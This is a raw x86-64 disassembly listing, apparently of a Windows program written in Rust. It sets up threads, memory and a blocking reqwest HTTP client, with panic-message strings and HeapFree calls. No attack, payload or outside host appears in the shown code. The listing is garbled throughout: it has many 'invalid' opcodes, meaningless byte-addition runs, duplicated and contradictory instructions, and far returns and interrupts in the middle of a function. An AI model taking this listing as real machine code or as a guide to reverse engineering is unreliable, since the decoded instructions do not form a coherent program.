add ebp, 0xc4653600
cmp ebp, 0x3b9aca00
jb 0x1400c5d55
mov ecx, ebp
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x1400c669e
imul ecx, ecx, 0x3b9aca00
sub ebp, ecx
mov qword [rsp + 0x48], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xc8]
cmp eax, 1
je 0x1400c5dae
test eax, eax
jne 0x1400c6488
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xc0]
lea rdx, [0x1400d49c0]
call fcn.1400d4a00
mov byte [rsi + 0xc8], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xc0]
test rsi, rsi
je 0x1400c6425
lock inc qword [rsi]
jle 0x1400c7ac9
test rsi, rsi
je 0x1400c6488
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400c761a
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rsi
lea rax, fcn.1400bfd70
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], rcx
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x2c8], 0
mov qword [rsp + 0x100], r12
movaps xmm0, xmmword [rsp + 0x2f0]
movaps xmm1, xmmword [rsp + 0x300]
movaps xmm2, xmmword [rsp + 0x310]
movaps xmm3, xmmword [rsp + 0x320]
movups xmmword [rsp + 0x108], xmm0
movups xmmword [rsp + 0x118], xmm1
movups xmmword [rsp + 0x128], xmm2
movups xmmword [rsp + 0x138], xmm3
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x148], rax
mov byte [rsp + 0x151], 0
lea r13, [rsp + 0x158]
lea r14, [rsp + 0x1a0]
xor eax, eax
movzx eax, al
lea r15, [0x140177fe0]
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
call fcn.1400dfa40
mov rsi, rax
add rsi, qword [rsp + 0xf8]
jb 0x1400c64c7
mov ebp, edx
add ebp, r14d
cmp ebp, 0x3b9aca00
jb 0x1400c5f35
inc rsi
je 0x1400c64c7
add ebp, 0xc4653600
cmp ebp, 0x3b9aca00
jb 0x1400c5f35
mov eax, ebp
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add rsi, rax
jb 0x1400c669e
imul eax, eax, 0x3b9aca00
sub ebp, eax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xc8]
cmp eax, 1
je 0x1400c5f89
test eax, eax
jne 0x1400c6488
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xc0]
lea rdx, [0x1400d49c0]
call fcn.1400d4a00
mov byte [rdi + 0xc8], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xc0]
test rdi, rdi
je 0x1400c6453
lock inc qword [rdi]
jle 0x1400c7ac9
test rdi, rdi
je 0x1400c6488
movzx eax, byte [0x140182310]
mov edx, 0x18
add byte [rax], al
add byte [rax], al
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400c761a
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rdi
lea rax, fcn.1400bfd70
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rcx
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x530], rax
mov qword [rsp + 0x538], rax
mov qword [rsp + 0x540], 0
mov qword [rsp + 0x50], r12
lea r14, [rsp + 0x58]
mov byte [rsp + 0x60], 0
cmp ebp, 0x3b9aca00
jne 0x1400c60bc
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x100]
lea r8, [rsp + 0x530]
mov rdx, r14
call fcn.1400c4b60
mov r12, qword [rsp + 0x100]
cmp r12, 5
jne 0x1400c624f
mov byte [rsp + 0x60], 3
lea rsi, [rsp + 0x100]
lea rbx, [rsp + 0x530]
call fcn.1400d6f60
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call fcn.1400c4b60
mov r12, qword [rsp + 0x100]
cmp r12, 5
jne 0x1400c624f
invalid
add dword [rax], eax
invalid
invalid
mov byte [rsp + 0x60], 3
jmp 0x1400c6090
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x100]
lea r8, [rsp + 0x530]
mov rdx, r14
call fcn.1400c4b60
mov r12, qword [rsp + 0x100]
cmp r12, 5
jne 0x1400c624f
mov byte [rsp + 0x60], 3
call fcn.1400dfa40
and al, 0x60
add ebp, eax
cdq
add dword [rax], eax
mov r8d, edx
xor ecx, ecx
cmp rax, rsi
setne cl
mov ebx, 0xff
cmovb ecx, ebx
xor r13d, r13d
cmp edx, ebp
mov edx, 0
sbb edx, edx
test cl, cl
cmovne edx, ecx
cmp dl, 2
jae 0x1400c618d
mov rsi, qword [rsp + 0x58]
mov r12d, 4
test rsi, rsi
je 0x1400c640c
mov rax, qword [rsi + 0x30]
mov rbx, qword [rsp + 0x40]
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x80]
nop dword [rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x1400c6150
and eax, 0xa
cmp eax, 8
jne 0x1400c6172
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
jne 0x1400c6481
mov rcx, qword [rsp + 0x58]
and al, 0x58
call fcn.1400bfc40
xor esi, esi
jmp 0x1400c62f7
push qword [rcx]
imul cl
push 1
add byte [rax], al
mov qword [rsp + 0x100], rsi
mov dword [rsp + 0x108], ebp
add dword [rax], eax
add byte [rcx + 0x10824ac], cl
add byte [rax], al
lea r15, [rsp + 0x100]
mov rcx, r15
stc
stc
mov rdx, rax
call fcn.1400d5e50
cmp edx, 0x3b9aca00
cmove edx, r13d
mov ecx, 0
cmovne rcx, rax
call fcn.1400d70d0
lea rdi, [rsp + 0x530]
nop
mov rcx, r15
mov rdx, r14
mov r8, rdi
call fcn.1400c4b60
mov r12, qword [rsp + 0x100]
cmp r12, 5
jne 0x1400c624f
mov byte [rsp + 0x60], 3
call fcn.1400dfa40
mov r8d, edx
xor ecx, ecx
cmp rax, rsi
setne cl
cmovb ecx, ebx
retf
cmp edx, ebp
retf
mov edx, 0
sbb edx, edx
test cl, cl
cmovne edx, ecx
cmp dl, 2
jb 0x1400c6123
or bh, bh
invalid
invalid
or bh, bh
invalid
mov qword [rsp + 0x100], rsi
mov dword [rsp + 0x108], ebp
and al, 0
add dword [rax], eax
add byte [rcx + 0x10824ac], cl
add byte [rax], al
mov rcx, r15
mov ecx, edi
mov rdx, rax
call fcn.1400d5e50
cmp edx, 0x3b9aca00
cmove edx, r13d
mov ecx, 0
cmovne rcx, rax
call fcn.1400d70d0
jmp 0x1400c61d0
mov rsi, qword [rsp + 0x108]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x3f0]
add byte [rcx - 0x48], al
mov byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
mov byte [rax], al
add byte [rax], al
call fcn.140106250
mov rdi, qword [rsp + 0x58]
test rdi, rdi
mov rbx, qword [rsp + 0x40]
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x80]
invalid
je 0x1400c62d2
add byte [rsp + rax*2 + 0x48], dh
mov eax, dword [rdi + 0x30]
mov rax, qword [rdi + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdi + 0x30], rcx
jne 0x1400c62a0
and eax, 0xa
cmp eax, 8
jne 0x1400c62c2
invalid
or ecx, dword [rax - 0x75]
adc byte [r8 - 0x75], r9b
sbb r15b, r15b
push rax
adc al, dh
dec qword [rdi]
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x1400c62d2
mov rcx, qword [rsp + 0x58]
call fcn.1400bfc40
cmp r12d, 4
je 0x1400c7acb
lea rcx, [rsp + 0x360]
lea rdx, [rsp + 0x3f0]
add byte [rcx - 0x48], al
mov byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
mov byte [rax], al
add byte [rax], al
call fcn.140106250
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc8]
call qword [rax + 0x18]
cmp r12d, 3
je 0x1400c7aa1
add bh, bh
push rax
sbb byte [rcx - 0x7d], al
cld
add ecx, dword [rdi]
test byte [rbp + 0x41000017], cl
cmp esp, 4
cmp r12d, 4
jne 0x1400c634f
test rsi, rsi
mov rdi, qword [rsp + 0x78]
je case.0x1400733a2.316
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x1400c66ed
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400c66ed
lock inc qword [r15]
jle 0x1400c7ac9
lea rcx, [rbx + 0x10]
lea rdx, [rsp + 0x360]
lea edx, [rsp + 0x360]
lea edx, [rsp + 0x360]
mov r8d, 0x88
call fcn.140106250
mov qword [rbx], r12
mov qword [rbx + 8], rsi
mov rax, qword [rsp + 0xf8]
mov qword [rbx + 0x98], rax
mov eax, dword [rsp + 0xbc]
add byte [rax], al
mov dword [rbx + 0xa0], eax
mov qword [rbx + 0xa8], 0
mov qword [rbx + 0xb8], r15
test r14, r14
mov rdi, qword [rsp + 0x78]
je case.0x1400b7609.41
add byte [rax], al
add byte [rax], al
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rsp + 0x298]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x1400b7609.41
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
test eax, eax
test eax, eax
je 0x1400c7334
mov rsi, rax
mov qword [rax + 0x58], 1
lea rax, [0x14013cce0]
mov qword [rsi + 0x60], rax
mov word [rsi + 0x68], 1
jmp 0x1400c66ed
xor esi, esi
mov rbx, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x80]
jmp 0x1400c62f7
call fcn.14010fea0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xc0]
lock inc qword [rsi]
jg 0x1400c5ddb
jmp 0x1400c7ac9
call fcn.14010fea0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rdi, qword [rax + 0xc0]
lock inc qword [rdi]
rol byte [rax], 0
add al, dh
inc qword [rdi]
jg 0x1400c5fb6
jmp 0x1400c7ac9
xor esi, esi
jmp 0x1400c62f7
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
lea r8, [0x140148d60]
mov edx, 0x5e
call fcn.1401086b0
mov ecx, 8
mov edx, 0xd0
call fcn.140107fe0
lea rcx, str.core_thread_exited_early
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
mov edx, 0x18
call fcn.1401086b0
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401499d0]
mov edx, 0x28
call fcn.1401086b0
call fcn.140010b00
hlt
mov ecx, 1
mov rdx, r14
call fcn.140107fc0
mov qword [rsp + 0x100], rdi
mov esp, 0x10024
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x108]
lea rdx, [rsp + 0x3f0]
lea edx, [rsp + 0x3f0]
mov r8d, 0x88
lea rcx, [rsp + 0x108]
lea rdx, [rsp + 0x3f0]
lea edx, [rsp + 0x3f0]
mov r8d, 0x88
call fcn.140106250
add eax, dword [rax]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x198], rax
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x1a0], eax
add byte [rax], al
add byte [rax], al
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x1a4], eax
add dword [rax], eax
add byte [rbx + 0x982484], cl
add byte [rax], al
add dword [rax], eax
add byte [rbx + 0x982484], cl
add byte [rax], al
mov dword [rsp + 0x1a8], eax
mov eax, dword [rsp + 0x9c]
test byte [rax + rbp*4], ah
add dword [rax], eax
add byte [rbx + 0x9c2484], cl
add byte [rax], al
mov dword [rsp + 0x1ac], eax
movzx eax, word [rsp + 0x34]
mov bh, 0x44
and al, 0x34
mov bh, 0x44
and al, 0x34
mov word [rsp + 0x1b0], ax
movzx eax, word [rsp + 0x36]
mov word [rsp + 0x1b2], ax
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x1b4], eax
mov eax, dword [rsp + 0xa0]
add byte [rax], al
add byte [rcx + 0x1b82484], cl
add byte [rax], al
mov eax, dword [rsp + 0x8c]
invalid
and al, 0xb8
add dword [rax], eax
add byte [rbx + 0x8c2484], cl
add byte [rax], al
invalid
add byte [rcx + 0x1bc2484], cl
add byte [rax], al
mov dword [rsp + 0x1bc], eax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x1c0], eax
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x1c4], eax
movaps xmm0, xmmword [rsp + 0xc0]
add byte [rdi], cl
adc dword [rsp + 0x1c8], eax
add byte [rdi], cl
adc dword [rsp + 0x1c8], eax
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x1d8], al
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0x1d9], eax
mov eax, dword [rsp + 0xeb]
add byte [rax], al
add byte [rcx + 0x1dc2484], cl
add byte [rax], al
mov qword [rsp + 0x1e0], r13
mov dword [rsp + 0x1e8], ebp
mov eax, dword [rsp + 0x380]
mov dword [rsp + 0x20c], eax
movaps xmm0, xmmword [rsp + 0x360]
movaps xmm1, xmmword [rsp + 0x370]
sub byte [rsp + 0x370], cl
sub byte [rsp + 0x370], cl
movups xmmword [rsp + 0x1ec], xmm0
movups xmmword [rsp + 0x1fc], xmm1
mov qword [rsp + 0x210], r12
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
mov qword [rsp + 0x20], rax
lea rcx, str.core_thread_panicked
lea r9, str.PN_f_
lea ecx, str.PN_f_
lea ecx, str.PN_f_
lea r8, [rsp + 0x100]
mov edx, 0x14
call fcn.140108600
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14013eb28]
lea r8, [rsp + 0x360]
mov edx, 0x17
call fcn.140108600
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 1
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0x820d1
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0x820d1
lea rcx, [rsp + 0x100]
call fcn.140108280
mov ecx, 7
int 0x29
ud2
mov qword [rsi], r14
mov rax, qword [rsp + 0x298]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r14
mov eax, dword [rsp + 0x90]
add byte [rcx - 0x7b74e7ba], cl
and al, 0x94
add byte [rax], al
add byte [rcx - 0x7b74e3ba], cl
and al, 0x98
add byte [rax], al
add byte [rcx - 0x7b74dfba], cl
and al, 0x9c
add byte [rax], al
add byte [rcx - 0x48f0dbba], cl
and al, 0x34
add byte [rcx - 0x7b74e7ba], cl
and al, 0x94
add byte [rax], al
add byte [rcx - 0x7b74e3ba], cl
and al, 0x98
add byte [rax], al
add byte [rcx - 0x7b74dfba], cl
and al, 0x9c
add byte [rax], al
add byte [rcx - 0x48f0dbba], cl
and al, 0x34
mov word [rsi + 0x28], ax
movzx eax, word [rsp + 0x36]
mov word [rsi + 0x2a], ax
mov eax, dword [rsp + 0xb0]
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rcx - 0x7b74d3ba], cl
and al, 0xa0
add byte [rax], al
invalid
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rcx - 0x7b74d3ba], cl
and al, 0xa0
add byte [rax], al
add byte [rcx - 0x7b74cfba], cl
mov dword [rsi + 0x30], eax
mov eax, dword [rsp + 0x8c]
mov dword [rsi + 0x34], eax
mov eax, dword [rsp + 0xa8]
mov dword [rsi + 0x38], eax
mov eax, dword [rsp + 0x88]
mov dword [rsi + 0x3c], eax
movaps xmm0, xmmword [rsp + 0x340]
movups xmmword [rsi + 0x40], xmm0
mov dword [rsi + 0x30], eax
mov eax, dword [rsp + 0x8c]
mov dword [rsi + 0x34], eax
mov eax, dword [rsp + 0xa8]
mov dword [rsi + 0x38], eax
mov eax, dword [rsp + 0x88]
mov dword [rsi + 0x3c], eax
movaps xmm0, xmmword [rsp + 0x340]
movups xmmword [rsi + 0x40], xmm0
movzx eax, byte [rsp + 0x350]
mov byte [rsi + 0x50], al
mov eax, dword [rsp + 0x100]
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
mov ecx, dword [rsp + 0x103]
mov dword [rsi + 0x51], eax
mov dword [rsi + 0x54], ecx
mov word [rbx + rax], fs
add dword [rax], eax
add byte [rcx + 0x4e895146], cl
push rsp
mov qword [rbx + 8], rsi
mov qword [rbx], 3
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x537502ff], al
cmp edi, 2
jne 0x1400c67fa
cmp edi, 2
jne 0x1400c67fa
mov rax, qword [rsp + 0x328]
cmp eax, 2
je 0x1400c67fa
mov rsi, qword [rsp + 0x318]
mov ah, 0x24
sbb byte [rbx], al
add byte [rax], al
mov rdi, qword [rsp + 0x320]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400c67ed
invalid
cmp qword [rdi + 0x10], 0x11
jb 0x1400c67db
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
lea rcx, [rsp + 0x2f0]
call fcn.140085690
sti
dec dword [rax - 0x75]
mov word [rax + rbx*8], fs
add al, byte [rax]
add byte [rax - 0x75], cl
add eax, esi
dec qword [rax]
mov rcx, qword [rsp + 0x2d8]
mov rax, qword [rcx]
lock dec qword [rax]
je 0x1400c53fa
test bl, ch
jmp 0x1400c680d
jmp 0x1400c67f8
invalid
movaps xmm6, xmmword [rsp + 0x670]
add rsp, 0x688
mov byte [rsi], al
add byte [rax], al
mov byte [rsi], al
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
mov ecx, 8
mov edx, 0x30
call fcn.140107fe0
movzx eax, byte [rsp + 0x290]
mov dh, 0x84
and al, 0x90
add al, byte [rax]
add byte [rbp - 0x2e7bf040], al
add byte [rax], al
invalid
mov dh, 0x84
and al, 0x90
add al, byte [rax]
add byte [rbp - 0x2e7bf040], al
add byte [rax], al
add byte [rbx + 0x4c7503f8], al
cmp eax, 3
jne 0x1400c689b
movzx eax, byte [rsp + 0x240]
test eax, eax
je 0x1400c6881
cmp eax, 3
jne 0x1400c68a7
movzx eax, byte [rsp + 0x238]
test eax, eax
je 0x1400c688e
invalid
and al, byte [rbx + 0x427503f8]
cmp eax, 3
jne 0x1400c68b3
mov rax, qword [rsp + 0x230]
mov rcx, qword [rax]
jmp 0x1400c6ba0
mov rcx, qword [rsp + 0x1d0]
jmp 0x1400c6b51
mov rcx, qword [rsp + 0x220]
mov ecx, dword [rsp + 0x220]
jmp 0x1400c6b88
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blocking_body.rs__
call fcn.140108880
ret
lea rcx, [0x14013f8c0]
call fcn.140108880
int 0x1f
add al, 0
nop
invalid
int 0x1f
add al, 0
lea rcx, [0x14013f8a8]
call fcn.140108880
mov byte [rsp + 0x150], 1
lea rcx, [rsp + 0x108]
mov rax, qword [rcx + 0x40]
lea rdx, [rsp + 0x4e0]
mov qword [rdx + 0x40], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
lea rdx, [rsp + 0x3f0]
mov r8d, 0x138
mov rcx, r13
call fcn.140106250
mov byte [rsp + 0x290], 0
mov rax, qword [r13 + 0x110]
mov qword [rsp + 0x380], rax
movups xmm0, xmmword [r13 + 0xf0]
movups xmm1, xmmword [r13 + 0x100]
movaps xmmword [rsp + 0x370], xmm1
movups xmm6, xmmword [rsp + 0x270]
mov rax, qword [rsp + 0x280]
mov rsi, qword [rsp + 0x288]
mov qword [rsp + 0x178], rax
mov qword [rsp + 0x180], rsi
cmp rsi, 0x2000
mov ecx, 0x2000
cmovae rsi, rcx
movaps xmmword [rsp + 0x360], xmm0
test rax, rax
cmove rsi, rcx
mov qword [rsp + 0x198], 0
mov eax, 1
xor ecx, ecx
test rsi, rsi
je 0x1400c69c3
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rsi
call fcn.1400dfbe0
test rax, rax
je 0x1400c6b44
mov rcx, qword [rsp + 0x198]
mov r8, rsi
shr r8, 0xa
mov edx, 0x40
je 0x1400c69d9
bsr rdx, r8
xor rdx, 0x3f
shl rdx, 2
mov r8d, 0x101
sub r8, rdx
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x168], rsi
mov qword [rsp + 0x170], r8
movups xmmword [rsp + 0x188], xmm6
mov rax, qword [rsp + 0x380]
mov qword [r14 + 0x20], rax
movaps xmm0, xmmword [rsp + 0x360]
movaps xmm1, xmmword [rsp + 0x370]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
cmp qword [rsp + 0x178], 0
je 0x1400c7061
cmp rcx, qword [rsp + 0x180]
jne 0x1400c7061
xor esi, esi
cmp byte [rsp + 0x1c0], 3
je 0x1400c6a68
mov rcx, r14
call fcn.140085690
mov rbx, qword [rsp + 0x188]
mov rdi, qword [rsp + 0x190]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400c6aa1
cmp qword [rdi + 0x10], 0x11
jb 0x1400c6a8f
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsp + 0x170]
test r8b, 1
jne 0x1400c6ade
lock dec qword [r8 + 0x20]
jne 0x1400c6b06
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x1400c6af7
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov rdi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rdi
jmp 0x1400c6af7
shr r8, 5
neg r8
cmp qword [rsp + 0x168], r8
je 0x1400c6b06
add r8, qword [rsp + 0x158]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rsp + 0x290], 1
xor eax, eax
mov cl, 3
test rax, rax
je 0x1400c6be4
mov byte [rsp + 0x151], cl
cmp ebp, 0x3b9aca00
jne 0x1400c77a4
call fcn.1400d6f60
movzx eax, byte [rsp + 0x151]
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
mov ecx, 1
mov rdx, rsi
call fcn.140107fc0
mov qword [rsp + 0x1f8], rcx
movups xmm0, xmmword [r13 + 0x80]
movups xmm1, xmmword [r13 + 0x90]
lea rax, [rsp + 0x200]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0x220], rcx
mov byte [rsp + 0x238], 0
mov qword [rsp + 0x228], rcx
lea rax, [rsp + 0x228]
mov qword [rsp + 0x230], rax
lea rdx, [rsp + 0x2b8]
call fcn.140036190
test rax, rax
setne cl
add cl, cl
or cl, 1
mov byte [rsp + 0x238], cl
test rax, rax
je 0x1400c6c12
mov byte [rsp + 0x240], 3
mov byte [rsp + 0x290], 3
mov eax, 1
mov cl, 3
test rax, rax
jne 0x1400c6b1b
mov rcx, r13
call fcn.1400c49f0
test rsi, rsi
jne case.0x140095dbc.182
mov byte [rsp + 0x150], 0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x158], rax
jmp 0x1400c7765
test rdx, rdx
je 0x1400c6c42
mov rsi, rdx
mov rax, qword [rsp + 0x200]
mov rdx, qword [rsp + 0x208]
mov r8, qword [rsp + 0x210]
lea rcx, [rsp + 0x218]
call qword [rax + 0x10]
jmp 0x1400c6dc4
mov r12, qword [rsp + 0x1f8]
lea rdi, [rsp + 0x200]
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
movzx eax, byte [r12 + 0x20]
mov sil, 1
cmp al, 2
jne 0x1400c6d14
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0x400], xmm1
movaps xmmword [rsp + 0x3f0], xmm0
mov byte [rsp + 0x410], sil
mov eax, dword [rsp + 0xc0]
mov ecx, dword [rsp + 0xc3]
lea rdx, [rsp + 0x4e0]
mov dword [rdx - 0xcc], ecx
mov dword [rdx - 0xcf], eax
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400c7629
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov rsi, rax
mov byte [rax + 0x30], 5
mov rax, qword [rsp + 0x3f0]
test rax, rax
je 0x1400c6db7
mov rdx, qword [rsp + 0x3f8]
mov r8, qword [rsp + 0x400]
lea rcx, [rsp + 0x408]
call qword [rax + 0x10]
jmp 0x1400c6dc4
test al, al
je 0x1400c6e70
mov rdi, qword [r12 + 0x18]
lea rdx, [rdi + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi + 0x10], cl
jne 0x1400c7500
mov rax, qword [0x140182308]
shl rax, 1
xor ebx, ebx
test rax, rax
jne 0x1400c7513
movzx eax, byte [rdi + 0x11]
test al, al
jne 0x1400c752f
cmp byte [rdi + 0x28], 0
je 0x1400c6e42
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x1400c6d75
mov rcx, qword [rdi + 0x20]
mov rsi, rdx
call qword [rax + 0x18]
mov rdx, rsi
mov qword [rdi + 0x18], 0
test bl, bl
jne 0x1400c6d94
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400c75a5
xor eax, eax
xchg byte [rdx], al
xor esi, esi
lea rdi, [rsp + 0x50]
cmp al, 2
jne 0x1400c6c74
mov rcx, rdx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
xor esi, esi
jmp 0x1400c6c74
lea rcx, [rsp + 0x3f8]
call fcn.140035fe0
mov byte [rsp + 0x240], 1
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400c760b
mov rbx, rax
mov qword [rax], rsi
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400dfbe0
mov rsi, rax
lea rax, fcn.140035fe0
test rsi, rsi
je 0x1400c7334
movabs rcx, 0x8000000000000000
mov qword [rsi], rcx
mov qword [rsi + 0x58], rbx
mov qword [rsi + 0x60], rax
mov word [rsi + 0x68], 4
cmp byte [rsp + 0x1c0], 3
je 0x1400c6a68
jmp 0x1400c6a60
mov byte [r12 + 0x20], 0
test bl, bl
jne 0x1400c6e5f
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400c75c1
xor eax, eax
xchg byte [rdx], al
cmp al, 2
jne 0x1400c6e70
mov rcx, rdx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rcx, qword [r12 + 0x10]
mov rax, qword [rcx + 0x38]
movabs rdx, 0x7fffffffffffffff
lea rdi, [rsp + 0x50]
movabs r10, 0x8000000000000000
nop word cs:[rax + rax]
test rax, rax
jns 0x1400c6c74
mov r8, rax
and r8, rdx
cmp r8, rdx
je 0x1400c75f3
lea r9, [rax + 1]
or r9, r10
lock cmpxchg qword [rcx + 0x38], r9
jne 0x1400c6ea0
